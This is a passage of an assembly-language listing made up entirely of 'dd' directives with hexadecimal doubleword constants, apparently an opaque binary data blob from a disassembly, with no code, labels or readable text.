0C737A280h, 32E95F26h, 0F31D3E6Fh dd 5E53BA54h, 0CB74A25Ch, 472E8BC0h, 265290Ch, 7C3B6856h dd 466B4A7Ch, 411D98FEh, 9F6C79AAh, 97B9600Ah, 5E456E40h dd 2097B00Bh, 5A7608DCh, 62BBC624h, 0ED30D752h, 9C963F97h dd 1E30FC63h, 1658C3D5h, 0AFBFC402h, 56627D61h, 0D5C9277Ch dd 652DBED6h, 0ACA5BF72h, 0CF88A003h, 530222BBh, 0D86002BFh dd 8E355C31h, 4680E0EFh, 0FFC7837Ch, 0B2E95512h, 1CBAB9A0h dd 0FDEF3C43h, 0D15E593Bh, 79D8289Bh, 495D84C7h, 5AF38801h dd 17517258h, 0B347E2B4h, 0AB841CEBh, 0F82886D1h, 2574DF4Bh dd 9E45307Fh, 0F6D78683h, 0FE082CD2h, 0B151033Fh, 0DE100896h dd 8100399Ch, 9A7EA9F5h, 0EF4C29D4h, 0FD6417F0h, 0A811FB58h dd 0B7189719h, 6E376804h, 0C0E9C94Ah, 1C64B832h, 8B55056Ch dd 9200379Bh, 3E31C435h, 86B557E2h, 2D5B9E9Eh, 0F9D12DE8h dd 2328A08h, 0A804C8FEh, 100C9987h, 0B353D8F6h, 0E3C0B509h dd 0CA9FC07h, 0B746A574h, 351B83Fh, 0D7ED801Ah, 60039AC0h dd 3E20C49Dh, 7C7359EFh, 6E730E5h, 0CE04F10Ch, 3B1C2C38h dd 5EB874F8h, 59E1C72Dh, 0A2133C14h, 40B3E4F7h, 5028125Ch dd 0A69CA5CAh, 9735F069h, 117105B4h, 817B2181h, 6FE46732h dd 9088E7DCh, 0E3803F5Fh, 9736EC73h, 1CFB402h, 0A4780E09h dd 0B687D3F7h, 0A9BB42A8h, 0ADBDBEDBh, 0F385E22Ch, 9F483E4Eh dd 0C1FC235Fh, 0F3E80BCFh dd 0CE95433Ah, 0F46CD629h, 7C6129CBh, 0B839E94Ch, 8769932Ah dd 50960CC1h, 1A3FCDFCh, 0D8F7751Ch, 0FAE4D097h, 14C5EE9h dd 493005FCh, 9CC23AE3h, 0E907812Dh, 312F42EFh, 7DFF029h dd 45B5470h, 0FDD8E04Dh, 0C96153D1h, 1B1E60CAh, 77718256h dd 0AB00F02Fh, 771FD295h, 889AC504h, 8607E673h, 4644F16Bh dd 6FB0B9C5h, 0C1D3DC2Dh, 4FBBC805h, 71660CCh, 0DD440E99h dd 0D22838D2h, 13BB3037h, 2DAFBE12h, 83790A25h, 3914CEF5h dd 451DC73Fh, 42904051h, 6D2D0C10h, 290F3A1Dh, 0DD633542h dd 2F7BD477h, 5FFEA4B0h, 0C0F76EB5h, 638DBE08h, 0FEF821D5h dd 90D1E0C9h, 255FC5AEh, 0C5F17CE3h, 276BD92Fh, 42FEE79h dd 55002101h, 617758BDh, 9B54277Bh, 0E33168C5h, 3688F731h dd 7D18005h, 4709B154h, 0FE08E3C1h, 7BA1821Eh, 77613F2Eh dd 0DA890106h, 0E9C5B972h, 0B4CF5245h, 6394CA84h, 68D83101h dd 0D5331F32h, 7AE95609h, 0EE777A7Ah, 0EBE23F34h, 5FB84885h dd 0E8EC5D25h, 4FE0534Dh, 680CE4B6h, 0C2230C66h, 501C9EB2h dd 0E687EC88h, 0DAC45958h, 3BB59E0h, 346CD80Fh, 0F1E1DF01h dd 0BD1896C5h, 0F648A3E9h, 16BC5418h, 4798C0B2h, 0CB45D84h dd 0AD7EC56Fh, 65062FEh, 0D3E2B774h, 63294814h, 0F22ED394h dd 8DB29269h, 99670C4h, 134DD35Bh, 2C46E833h, 415A0A54h dd 8F3BB42Dh, 0A0F25AF0h, 0BFA6305Bh, 1B003E57h, 81E7D137h dd 3B7CAAF7h, 0EA056E36h, 0C52F2C5Eh, 409ABCDDh, 0C6955F08h dd 46E39FC1h, 19B40A4Fh, 0B3525FCEh, 0DEC9DF0Eh, 352CDA93h dd 0A81E0AD8h, 46D2DEAFh, 1D66E1B0h, 0EBBC5BEh, 5EEFF031h dd 0A9C08433h, 0E977DB3h, 0CC46EFF0h, 0CFC5105Dh, 0C0D3580Eh dd 7DE90238h, 54278597h, 987EC8D9h, 54B980A0h, 0C05E51Dh dd 0D2C051E2h, 5954B220h, 1459A1ECh, 0E87EAF50h, 727660BCh dd 439439EEh, 86FFEDFEh, 340B3885h, 4DA29536h, 0D10015C4h dd 98C23BEAh, 447120D2h, 6D1C6817h, 0F6A78361h, 813E91B4h dd 28416826h, 0E9074072h, 0D3C3CD4Eh, 4372CF7h, 0E45C96B7h dd 0DB58A0F0h, 0BE06A44Eh, 0BC18FB95h, 36A6FC5h, 0ECCFAEE6h dd 67033176h, 8EE91D51h, 0EA5503A6h, 32476252h, 1AEB0C40h dd 5B83194Bh, 12247692h, 61106F68h, 2BC69370h, 0DE356F70h dd 2C0D2484h, 0E6DF08C4h, 73026805h, 63FE8C34h, 0BCD48B31h dd 72E5B512h, 2D1BFFC6h, 2F69ECC2h, 47E1C25Ah, 7C29C93Ah dd 0CF68C471h, 0B57031FEh, 72DC2CA3h, 61524FB0h, 0E23FA7h dd 0C1541477h, 5606EAh, 0AF3C64BEh, 0D9E94E47h, 67D83A5Eh dd 81A1C3A9h, 25E061C1h, 0C6B55E16h, 29E926A2h, 47BE818Dh dd 300B893Eh, 7D00AED0h, 0EB815B9Ch, 4A99B5DAh, 0C1508236h dd 0CF0025C2h, 0A660905Dh, 96FE927h, 1B3FC4Ah, 4A8CCD81h dd 528489C3h, 0BB39F4DEh, 0E4BDAC4Ah, 87B53484h, 9FDA28D8h dd 0DC2F8468h, 80871A91h, 3DB284F7h, 8ACAD90Fh, 83DEAB45h dd 4A180C1Bh, 1EF704EAh, 2A909529h, 1404100Dh, 0FEE92518h dd 0FD654AEAh, 15F24BA0h, 0F62EC3FCh, 2D17ABDBh, 2C5B0702h dd 0E9B96078h, 0E39D6730h, 4C2472E6h, 0C781DCFEh, 99F8A241h dd 412560F1h, 0BE76EC07h, 0EE81015Bh, 52A1292Eh, 438A7B59h dd 0C8BE0F02h, 1A759468h, 5D5D4B4h, 0B4E76AE9h, 7931C35Dh dd 19E00B04h, 0EB3C906Eh, 29F814A4h, 101FB0F9h, 9C5011E9h dd 0E44BCFC9h, 0FEB84CA2h, 4789AD7Eh, 6BDD7E1Ch, 81CF0F04h dd 0FDE97213h, 17802628h, 77283122h, 96FC927Fh, 0E19C3E66h dd 2D6E4061h, 4C7C1506h, 71FE583h, 5F4B1128h, 0E9C5E5B2h dd 6B45D7ABh, 992E87EEh, 59C20C97h, 62C1D6CCh, 0B2DE0F73h dd 3A48FA82h, 0B3DA4101h, 0B6B752Bh, 0B12065BEh, 2FC6ADBBh dd 0EB019C13h, 19F8AF12h, 1ABE2CA9h, 5C1C2FDDh, 0F681007Dh dd 80F9C3F0h, 0C8030F90h, 2922A82Ch, 89240F7h, 0C1095F5Eh dd 403B98AEh, 466CA058h, 928D564Eh, 76C1D12Bh, 0B8B40438h dd 345BF5Ch, 0E906E021h, 2E97369Ch, 107603EDh, 0F1810690h dd 0F6D21029h, 34CBC1Eh, 207F83ADh, 7C208185h, 7753E9Ch dd 9D3147B4h, 0D518D89h, 942BE4ADh, 0EC509376h, 61A6A55Bh dd 2DAA165Ah, 21670939h, 7F4A2A1Ah, 0B33ED7E2h, 0FAE8413Eh dd 0B092F877h, 5D8F4000h, 5B5657h, 341A57BDh, 2F52553Bh dd 0CCFB5A5Dh, 0E94D0B3Ah, 0BB8C4013h, 0F3641AF1h, 0AC72803Ah dd 4573CF0Fh, 88D33E4Dh, 505DCE0h, 7D6911C4h, 4BEF8035h dd 0C652013Dh, 7813C62h, 0A62376E8h, 555EF2E0h, 0FBE91656h dd 4FBEE625h, 0AE5313E6h, 0A05D418h, 8013F4B1h, 520E28EBh dd 10CB8D34h, 4ABBE9D4h, 489EA29Eh, 5AB000DDh, 0DFF749F3h dd 1FC14EE9h, 238902BAh, 1C06B1Bh, 69F22FC8h, 952BD3Ch dd 7629D4DAh, 0ECDD5B9Ah, 0B51D24DCh, 26FA63ADh, 0CA6858EAh dd 7C9310CEh, 10D12DFBh, 0BB009B17h, 48162759h, 6309F381h dd 80217746h, 345DC36h, 0E9D11C44h, 29A88B49h, 0A5BC1574h dd 97F6032h, 0D2C5B5FEh, 4CDDC681h, 0BE204D37h, 5269EAE7h dd 0C541A765h, 0ED014F76h, 0E942FC5Eh, 0E3217581h, 9774F1A8h dd 649E752Eh, 0F9D08B09h, 13B54288h, 0BC24306h, 8DDA74A6h dd 4E2FD1FEh, 0F0E92D5Ch, 0D3F74103h, 0F6FA0CBAh, 4C8B5BFEh dd 0D8505F90h, 8CE35F79h, 6ABFC11Ch, 719260B6h, 0DC5FC109h dd 0CC1CEC80h, 5B0289C4h, 2858E588h, 0A255C8EBh, 5C92B70Ch dd 0B1C59A85h, 97F32A74h, 63F2D3C9h, 0BC8E3B20h, 15212B3h dd 387F1B24h, 0D725071Ch, 4B16E8F8h, 288ABCC5h, 0BF4B9702h dd 2EEB5B24h, 28CD4AFFh, 0B39807Fh, 85160FDBh, 0F545FA97h dd 0D3CD41C6h, 0A61AEDE0h, 0E9541A9Dh, 5854EFF6h, 0CFECD347h dd 0A9C853F3h, 4E7C013h, 4AB6F84h, 50913359h, 0F700F9CBh dd 2B9848D8h, 5F10B666h, 4C40B73Bh, 0C4B7AA1Fh, 0CCB04Ch dd 6C462D3Ch, 8C6CE81h, 4E1E8C12h, 5C9A4200h, 61F74856h dd 1A53FCD6h, 8C6B6030h, 9041104Eh, 20A60289h, 4A02620h dd 2165B61Ah, 40C08BDFh, 3FF4FDBAh, 0FE2C29F2h, 6B03FA5Fh dd 0C8251B56h, 0A0BA52F3h, 5BD30108h, 42E7295Ah, 0DB53B042h dd 11D1218Bh, 5E2ADEA5h, 8325325h, 82278D7Fh, 5606EFE4h dd 0D007C44Dh, 8023B2C7h, 0C045E21Ch, 0EB5605DFh, 0DF843752h dd 1080B550h, 0AD1D21D6h, 8467D257h, 0F71BBA5h, 56008CF7h dd 0E89C5E5Fh, 22C20A12h, 0EC196050h, 70CB2D69h, 0A8434D61h dd 0C788DCFh, 0F642975Bh, 76525DEAh, 0C9134558h, 0A16D80Eh dd 1554158h, 0E826F0C1h, 41DB295Bh, 1CA1081Ch, 12910014h dd 8EE96AAFh, 4A13A149h, 4C7E95C9h, 0BFC197CAh, 0C54E4B09h dd 0D0EC7260h, 3A01D608h, 811F333Eh, 0D35DF4CAh, 0F2011876h dd 3B0A7788h, 0DA28B2E9h, 474E5E12h, 0F2BBE624h, 81750422h dd 8B6E92Ah, 0BAA5E068h, 6848E962h, 7ADBA43h, 314D0A19h dd 8D126CAh, 0B1F1A088h, 0F0426F94h, 612057F2h, 4A2637EEh dd 5F51224Ch, 0FE5BE302h, 5B59C8h, 0D02E8C1h, 0ED1F1A91h dd 3797501Eh, 0B9F25652h, 0F8A0D2Ah, 17F7BA66h, 33C23629h dd 55FB0955h, 4D9B6030h, 60C18080h, 8894065Ch, 302559CAh dd 0CEB048D5h, 0F5318007h, 0E99A1390h, 68B340E9h, 19951C47h dd 0E780947Ch, 5E36F52Dh, 0D0280168h, 2B810705h, 3AB3C15h dd 51A2F781h, 9E9667h, 4A660250h, 2833262Dh, 0F81229E4h dd 54B38D68h, 1622ED50h dd 0AC7BBC75h, 47D300F8h, 0EBC17ABFh, 0DBF72403h, 40EE0261h dd 374001E3h, 1C13FBC5h, 84122952h, 0A34046F8h, 5C4940C3h dd 588494BFh, 0A9165457h, 68ECDCB2h, 7F07F62Eh, 36BC006Bh dd 9837594Ah, 312D0472h, 0ABA0C8A2h, 0BE005DCAh, 27DE139Bh dd 83B5AFE9h, 0B9F130ECh, 403F0C86h, 0E73F831Fh, 0A109BF4Eh dd 52F3587Eh, 16ED7BE0h, 81DD55Dh, 0D927AF27h, 0F23816C5h dd 561002B5h, 5E01489Eh, 70820A3h, 895F5557h, 5D5B323Bh dd 68400DD9h, 4C690AE4h, 0EF028407h, 31986E3Bh, 3407C157h dd 0E5308D7Eh, 2D332582h, 5BF5035Ch, 0B039421Eh, 2531BDE5h dd 947C7670h, 0FC64C581h, 1E317DFDh, 0E974283Ah, 4E42292Fh dd 64E69D17h, 2762534Fh, 2C827D5Bh, 68D842E9h, 2E29B800h dd 50D7235h, 16A3244Bh, 0CAC313F8h, 442641A9h, 0E2DBB4Eh dd 920CD520h, 8A5C25B1h, 5B26D2DBh, 0D19DC02Fh, 38351CE0h dd 1081612h, 0A97FFB5Fh, 2BF2206Bh, 40182124h, 15EF000h dd 58A3E9F8h, 0ADDFBE09h, 0B4E9F338h, 0AC125CBCh, 0B38745A9h dd 27E8F223h, 4B9236DEh, 0C1B7AD80h, 7DAE2A68h, 6EB6002Dh dd 0FE4DF680h, 0E63BC0CEh, 0E9D68908h, 3AF462FBh, 0E196DD82h dd 0F2EB4E2Ah, 7C91899Fh, 970FA804h, 0FE0010CAh, 0F15082EBh dd 1C81464Bh, 0C2043EFFh, 61706D4Dh, 93B05566h, 2083987Bh dd 83BD89B0h, 0F60530D0h, 0A3562032h, 2FB2521Eh, 29DCA80Ch dd 16D107EBh, 69013404h, 0B1AED404h, 2B287E64h, 80F25B29h dd 7BF57D19h, 1E6CDCB1h, 7AE313FCh, 0E9DC0346h, 6A4EA77Dh dd 29801249h, 4D79D9D5h, 3702CCCh, 0FB7486BAh, 6B500627h dd 0C1FED6Eh, 0B24D5B30h, 2FE9D309h, 62E4E5CAh, 1F5A84F0h dd 81A5F3F2h, 0C42FC073h, 21ED012Ah, 1F08042Bh, 20BFC2BDh dd 0F882622h, 0A2E90908h, 0BA1EDAF8h, 47936A37h, 9C6BB0E8h dd 0E956B7C8h, 5E129D5Bh, 53F592BCh, 0E585FC4Fh, 68D045AAh dd 953EC83h, 0E07CE954h, 9A415E65h, 344613C4h, 0FEE20036h dd 144217Eh, 9E8DD95Bh, 9559CDE0h, 1A03F8F0h, 21435288h dd 93A020E8h, 6707C9FAh, 51031B6Ah, 73D059C5h, 58283068h dd 0E94C3776h, 0A2010F5Dh, 56F3671Ch, 20F5F65Dh, 0D22DF8C9h dd 29DD0444h, 0E32F6E9h, 8102CAC1h, 8C6E87D1h, 4F2CE90Eh dd 5883E5F3h, 0D791D0F7h, 5C76109h, 7C4CC86Ah, 753B240h dd 0CF8092B7h, 3AF73315h, 605BFC81h, 7197A4FEh, 0D7B800D0h dd 25635D0Bh, 8353F93Dh, 296B0D42h, 0B8AE4Dh, 31C507EEh dd 0F82158C7h, 20D15F4Ah, 697C3D2Fh, 6D5E982h, 0ED500676h dd 194B184Fh, 3A7D0C1Bh, 91A7620h, 34456F37h, 8DA287Dh dd 145F0C34h, 87B32028h, 80A04692h, 2EBD772Ch, 924AD7EAh dd 1760ADF7h, 0E0B387B9h, 95131818h, 2417D9C6h, 0C601291Fh dd 7F6B3F80h, 0E86DCEF0h, 4E0603F7h, 7966BF57h, 0A1EF15DBh dd 60F450FDh, 843DCFF3h, 182FB00Ch, 4AC26259h, 1E70183h dd 2CB5E9F5h, 0B65203BFh, 8190B1BAh, 7C745AF1h, 86C30380h dd 0B450D328h, 64E30A2Fh, 430B5E8Eh, 53947A8h, 5879984h dd 6F25FBAEh, 586549BBh, 0B90179D9h, 176546FBh, 24083120h dd 389D9F7h, 1E092D44h, 22780C07h, 0C1C07A5Fh, 12680D4Ah dd 0ACB01B1h, 0C29ADA20h, 284BBEB0h, 0B37E23F2h, 42F3F325h dd 0F46CB6F5h, 355E5F7Ah, 0E1C74985h, 0F5997382h, 3055963Ah dd 462BFF5h, 0F738F43Ah, 15BC81D7h, 0FD88008Ah, 65A725Bh dd 0F6F8ED80h, 30E60ADDh, 7E49E84Bh, 778C2AB3h, 9007AC0Bh dd 132C9A76h, 427B1Eh, 0E1D36948h, 0D70B0184h, 20BA63E9h dd 5CD8BD1Ah, 82F95B71h, 9D742101h, 9F9270A7h, 5913EE4Dh dd 0F958A5A2h, 9596222Fh, 0C67C1FAh, 8A75EE35h, 0C59AEB8h dd 0D2D3C99Eh, 2213A5A0h, 0C7F4621Ch, 7F5CCEA9h, 0C87AA68Ah dd 0B9000558h, 156DC849h, 4AF97C01h, 0A817C4B6h, 49588E3Dh dd 2C677219h, 69148625h, 186663FCh, 82179C1Bh, 0F6449563h dd 0DA260B77h, 71990823h, 2E005780h, 6848F744h, 314C4A04h dd 185F2DAh, 0C02ED15Fh, 751DC728h, 73045D4Eh, 0E994DAE9h dd 591D78BEh, 0E2A54E91h, 5217D74Eh, 17B3A888h, 0CD490857h dd 5BFA2801h, 0ADE8D030h, 0F23FCA2Ah, 6FBA0C9Fh, 0D433AA0Ch dd 0E067B5F6h, 2DF74CDDh, 4E4142DAh, 8DEEECC2h, 0D5892110h dd 0BBE9EA04h, 0E4040436h, 0B91049BCh, 9C4C503Ch, 0C3A21D4Eh dd 0ABD0C4D3h, 20085F26h, 748E8B54h, 8CCBE917h, 72035BBDh dd 316322F2h, 814A5EA1h, 85568ABCh, 3770014Ch, 68EB409Dh dd 9126A02Dh, 9496545Ah, 0F1B9E444h, 1A5F609Dh, 837B5016h dd 74170CC7h, 21461FAEh, 0D0807D9Eh, 0BA7DAA59h, 4B781283h dd 34540909h, 0CAA9F45Eh, 16BFB408h, 958ED85Ch, 0DBDA033Ah dd 99817383h, 1EF4183Fh, 5F84FE9h, 0BE91583Dh, 0A4C2B55Eh dd 0D349303Eh, 0A1BF12E8h, 4BE86D5Ch, 5284D6A2h, 8B2922BAh dd 896B49D4h, 0F6FA166Eh, 1DE34A31h, 7F849410h, 0B5514400h dd 5EC5803Bh, 2617B820h, 415D237Ah, 3A6D64F0h, 0FFE9A08h dd 0E001AFBDh, 6EEF3129h, 477AD902h, 621340BAh, 99BD9CB5h dd 0D8030604h, 480705E0h, 91019B2Dh, 59C56B0Eh, 71341913h dd 48157D5Dh, 85855AF4h, 0FEE3CFAh, 57C8BF06h, 2F3F4C68h dd 0E8B9BE9h, 0EE09C25Bh, 846A515Dh, 0BB1785E9h, 0F580E520h dd 0EC882D77h, 0DD398471h, 248E4F4Fh, 165A8648h, 52658189h dd 0FA507050h, 5FE98680h, 0E792D210h, 57384FC1h, 0BD87F238h dd 0BF05317Dh, 5F2F5F78h, 0CB44C51h, 0DA293A4Ah, 960535ACh dd 0B6C2323Eh, 0EABE41EFh, 93314B2Fh, 0E2A01CAFh, 0C6685657h dd 0FCF07095h, 77C04B04h, 906FB5E4h, 3FF18046h, 0AA92E3F0h dd 89FA012Ah, 0CBE35F4Ch, 28B4F317h, 20969DE5h, 12C4FACh dd 0D110A6D5h, 1F45BD03h, 0B2A7700Ah, 0BD563B77h, 64A6E28Ah dd 8781F616h, 3531C2B5h, 5E00F73Ch, 8103EEC1h, 0E81746F6h dd 80EC2A13h, 0DD09075Bh, 893AA178h, 0DB002FFAh, 0CEFF6B9h dd 28B3A255h, 494EEAh, 62114E0Bh, 9D29585Bh, 490DE113h dd 57CB6807h, 2F0928F6h, 0D669DD77h, 2C08A085h, 0A4653AE9h dd 5D80096h, 1C473616h, 0BB2533B8h, 45013E4h, 8E49CC56h dd 80EB0B62h, 89EF40A6h, 0E6F7F2D8h, 0AEBE0456h, 0C11B4611h dd 0F0C86E84h, 2F4EE9A7h, 7E207982h, 685158A0h, 7E678C25h dd 31F77A36h, 4905F0B3h, 0B7F2C740h, 12CEC205h, 12FC0F44h dd 66339132h, 83941463h, 0AAE29697h, 9E681B48h, 90E65F4Fh dd 0EE35B444h, 1763073Fh, 7555605h, 0F633F239h, 25384245h dd 2FA264C3h, 62E4FB2Fh, 1206B33Dh, 0ACB3A05Ch, 16961D10h dd 0EE212166h, 0ED72822Ah, 52DF0F12h, 4A37E818h, 71161AB3h dd 9E6DB8FDh, 93977C0Ch, 39530FEAh, 826F25E2h, 9DEDB74h dd 9321E884h, 0CEFECCCDh, 0C5F98585h, 2C72ADD9h, 0A2A48E1Eh dd 79AA6909h, 0B8608DC5h, 2C88F841h, 2D4ADE7Ah, 0CCF358C7h dd 510A0581h, 0EFD1B966h, 0D50F1D1Fh, 0F12929B2h, 31760883h dd 0B4509F3Dh, 2FEEA6FCh, 53388AA8h, 79902C1Ch, 0F2DE993Eh dd 1119C61h, 52F240C2h, 0E6E3E47h, 0D37082F4h, 3E60534Bh dd 8D0AAB06h, 0FC0D3072h, 4167691Bh, 0BA088AFAh, 664F202h dd 1C815F03h, 3CA6E94Fh, 0D0282F4Bh, 0EB801499h, 0E575F337h dd 51BC02D7h, 4CE9AEB1h, 582E9BDDh, 77166885h, 5F64A3C2h dd 50888AF4h, 97ECCFE5h dd 9B92AC18h, 6B516EB7h, 73891F59h, 5DE80AB8h, 189F66C6h dd 0FE4F5812h, 5202BF1Fh, 6C940209h, 34E1B019h, 422321F7h dd 0B89EFF9h, 0CB20820h, 0C5B82E27h, 0CFF8984Ah, 0F13DBEE4h dd 0B5E152AAh, 27BD0445h, 0E5225903h, 0AB6FD153h, 0F718890Eh dd 9D9984D6h, 0C4309C89h, 68A140AFh, 1A3E983Fh, 0D5A85F05h dd 28EFEB91h, 75B24FC9h, 0E67CFBDFh, 6615C518h, 7720F03Bh dd 5C36806Bh, 11897A99h, 5564D6D9h, 0C54DE5F8h, 689A5996h dd 81CD85F2h, 9AB802C6h, 7F2284A3h, 15929E38h, 5D27BB0Fh dd 0BF406FAh, 0E0FF1AB5h, 2C2205B5h, 12A23092h, 25FFD1A7h dd 0DEF32A3Dh, 12E45C8Fh, 3BDA9C2h, 4A20BD35h, 0F57BE31Bh dd 0D4F68049h, 9389A588h, 0C48B4E74h, 0B0A8442Fh, 32892066h dd 45E20ABDh, 9F279502h, 5F97623Ah, 62B4A5B0h, 6039332Fh dd 4A808F5h, 0E940EC48h, 680A90A3h, 46B73F69h, 84EA5B01h dd 80D2850Bh, 88520C44h, 0E6B0FA5Eh, 0B8364B67h, 6884DF1Bh dd 0CFAE6D27h, 34F65B1Bh, 74B38650h, 208CB82Fh, 1997DE5Bh dd 8D354F02h, 0DB98B22Ah, 0C28E39A3h, 0B74CE84Bh, 0C98582D9h dd 940C40Bh, 0CF703C67h, 142FB374h, 0B9510304h, 27B03572h dd 25D6C9F8h, 6145B824h, 3C788A02h, 6F9E6016h, 1B9900AEh dd 4659CE89h, 0DCF6EED1h, 58F4F04Bh, 34CA0FEFh, 0F38964C4h dd 48F4C6A9h, 3196971Ch, 0B14089CAh, 0EF8524E9h, 5E1596AEh dd 0B031937Eh, 0B0162C86h, 0F5B05A66h, 0E2564ACBh, 6422D3AFh dd 26D15819h, 2DE5D331h, 5090C0FAh, 4ABD8373h, 3E804126h dd 0C7922228h, 0DA40B292h, 2F6FF554h, 0B2E1786Dh, 0E230585Ch dd 2AC12838h, 0CFEED040h, 4B270BF6h, 0E9AD0509h, 4A6B1B5h dd 0D0F70551h, 0B0828CE2h, 1749207Ah, 323D5EBAh, 922B896Ah dd 57ABB834h, 0D351E403h, 1B30481Eh, 4210449Ah, 10A028Ah dd 5B7A415Ch, 41D60470h, 0C1843AC1h, 54DC05FBh, 7930AB1Ah dd 0C09AFCE9h, 180C291h, 0C5914DACh, 0D5F91792h, 9A99784h dd 8C2D464h, 0C22F7E10h, 4C65F9B2h, 706B79Eh, 0B5B83F51h dd 0D5315C0Bh, 0A8C62919h, 0EA8348D0h, 3E269EB9h, 7402C209h dd 7DD3D113h, 0DC64138Eh, 0A46213CDh, 0E976910h, 7E03E1C0h dd 7016085Ah, 525A5EC3h, 4469BE1Fh, 0D0467B02h, 5747BDDFh dd 155482Dh, 0C5F894F8h, 96F1B805h, 955BFBB2h, 126FF805h dd 0D4B8E7EFh, 10E8C1C2h, 0F447C05Dh, 0C2B38666h, 24A22A08h dd 59D501F8h, 2F013D5Bh, 80FCC84h, 56BA4BE9h, 0A039640Fh dd 0E24EC11Eh, 0E000CAE1h, 0B2D235Fh, 280B4BBAh, 46BDA7Ah dd 6C7E02DEh, 0DBC557B5h, 0B64E70EBh, 0E95E41D2h, 68CB242Bh dd 6828642Ah, 0A8EFB805h, 0AC842597h, 0F62F06F1h, 0E74C16E0h dd 4A543ECCh, 0C565B80Bh, 0F140BC8Ah, 0EF8003E7h, 515216E6h dd 0C550950h, 5CA59973h, 0F83061F2h, 2E217366h, 0B581AB02h dd 8FB6E995h, 0F9015D00h, 16685F0Bh, 50DEF66Eh, 4EB998E9h dd 5B836810h, 0A99EDA01h, 0FE2C5C7Dh, 76B3945h, 85D380FBh dd 620C003Ah, 0E914167Eh, 31959B65h, 652B0C8Ch, 870320Eh dd 4FB75378h, 0AAE986D5h, 5E5C549Fh, 1AEBE12Dh, 0D71C3ACh dd 2BFBAA03h, 22DAAFD9h, 12097C17h, 6C4C4236h, 49ECA2B4h dd 0C7635355h, 92FD27Ah, 97513121h, 257E53C9h, 1320F6E4h dd 965050D8h, 5C600035h, 56E8B840h, 0A1B07F71h, 2659DC40h dd 7A7EB01h, 9D857A1h, 2B6AAFE0h, 6E90B572h, 0DD2D4803h dd 0AB277669h, 0ACD4F1B3h, 8F1D137Fh, 92214A96h, 68017B98h dd 1CB62EE5h, 912DEE92h, 0E916A076h, 1327F65Dh, 72CC1822h dd 0F58F4106h, 9275BE5Eh, 0B42002C5h, 9DBCB252h, 0ACD968F0h dd 0B920F559h, 618941F4h, 0E558D29Eh, 0D9886426h, 0D24F371Ah dd 5BEBB5D6h, 7F807DE9h, 4AB3BC77h, 0EE7F3DADh, 654D56A4h dd 0BE2AAB34h, 2AE5010h, 0D93D3F25h, 0D601416Ah, 917B4B35h dd 2F1FEA78h, 0CA27E18Ah, 0C7BBF540h, 77270CFAh, 2DF12001h dd 4C462F3Ch, 1200421Ch, 1076D1Eh, 9F31E9C5h, 0E13060D5h dd 0CA7B7821h, 55E90B33h, 88417125h, 5D147AACh, 46C72FB8h dd 4A074AD4h, 13A84293h, 128AED01h, 0CAC72829h, 9C1E065Ch dd 0D469122Bh, 874FC2DDh, 0D1033357h, 3274B730h, 5FEB9D55h dd 12677A12h, 68C236BCh, 4D571C7Ah, 0CD5112D1h, 30D9FD89h dd 0E925CE3Dh, 58F784E8h, 75388ABh, 0FA96B09Fh, 0FCDA4A48h dd 7B090076h, 0ADE9970Dh, 64289C87h, 218CBA2Ch, 877F82E1h dd 0B7947E63h, 3C277EB9h, 0F649F671h, 90CD0B9Dh, 0B365FE76h dd 6027B65Eh, 1752EA0Eh, 0B567831Ah, 0C208041Ch, 0B804E359h dd 934D50EEh, 7812E34Bh, 490B0B4Ah, 129E045Fh, 3713CC44h dd 65640782h, 0E9E7B1E0h, 255A6856h, 0C7CCFE50h, 0A0BB4537h dd 0DC23323h, 69F9B8E9h, 4392D882h, 3E2AFF5Bh, 91FC7450h dd 134E0A33h, 0DBB98148h, 0F41D5A43h, 259423F9h, 76498F67h dd 0B2D57A8Ch, 5F0DA996h, 25B0F9Eh, 0B84AFDA3h, 61BFF411h dd 7F7920C0h, 8106E3D0h, 0B03B0BC7h, 4CE20AA1h, 5E49A55Eh dd 0F250888Ch, 587EF12Dh, 59B8A7Dh, 1A248C20h, 0C9E898E8h dd 7FDAB4A4h, 0B027E716h, 0B1A9Ch, 8FBE567Eh, 59032629h dd 36D205C0h, 0A305AE22h, 0BDA184E9h, 0F6C51C6Ch, 0B68A00F9h dd 0C052E9CCh, 700A1B9h, 9B0F281h, 2969128Ch, 506E8D3h dd 2E9868A0h, 4F72FE01h, 78FE7D03h, 0E90880FCh, 0B893C090h dd 670F77DFh, 19312504h, 1DEB5FD3h, 0A9802574h, 0AD69FBB8h dd 97536C3Dh, 4E9FD75h, 470B3219h, 3804F5F3h, 7C5F25B9h dd 383C58FBh, 660171C0h, 258963D1h, 4DDC58C2h, 6178249h dd 0B7935736h, 0BDF5AC2h, 0C49D326Ah, 13FE4844h, 26780D86h dd 414FD197h, 3E6F2668h, 448C4230h, 4E849DE1h, 66578E01h dd 5055F7B1h, 16DA9C58h, 0F31E2219h, 0AAA75B1Bh, 0B4B8AA85h dd 5B1E66F5h, 29FA1724h, 7B0B9F9Eh, 5A75DCB0h, 3652B580h dd 39B865E0h, 0F31EE209h, 0FC792940h, 0AEA20837h, 84C16612h dd 902778Ch, 0C80FCE2h, 0F7FBDFB4h, 0E9D10127h, 6D3CCA3Fh dd 30D16628h, 0E20A0C8Eh, 0EA800ED2h, 1FD47F1Ah, 895AD129h dd 7234C801h, 50000684h, 7C25B866h, 939A5CE9h, 0C2923CA0h dd 9385A8BCh, 4E7D62B2h, 0E25012E5h, 9B031091h, 8FAF553Fh dd 0E3BA1203h, 42310EF8h, 63BA82E3h, 7F06326Eh, 0BCB845AEh dd 7D251927h, 0D6A0C0EDh, 89568095h, 4DB8DE72h, 2150B9B6h dd 37E9F46Fh, 6CA5FCC5h, 284B939Ah, 0A3B512F9h, 0A8AC6677h dd 885A1EE5h, 83D915EEh, 5D82900h, 55560B5Eh, 0E19F8FB0h dd 4A2C689Eh, 20B4A34Ah, 80C162F9h, 8030748h, 0FC09BAD9h dd 76A740C4h, 16225F6h, 936CB1Ah, 7821817Ah, 59A7B21Ah dd 1A2FB17Ch, 682C891Fh, 0B6FA29B7h, 0F2F2537Ch, 464BC9F4h dd 0C2C76510h, 0B5CF5427h, 73324658h, 49E4C306h, 0E9C407DEh dd 0F7B9BD45h, 0EA5C598Bh, 5D762F43h, 0ED96571Ch, 0BC47D226h dd 1A563EEh, 0E3C098C5h, 3D2739BEh, 0BB2D330Ah, 5C02998Bh dd 6F0F1F50h, 0F6169860h, 0ABE9BDD2h, 0F8EFD1FAh, 689F8B59h dd 0B7569D2h, 0DF316D48h, 9A27DD76h, 277556BAh, 5C79F974h dd 53282C66h, 59EB2634h, 0DAF05B2Eh, 59A10E9h, 12CEBD05h dd 49EB23DFh, 1E2185DCh, 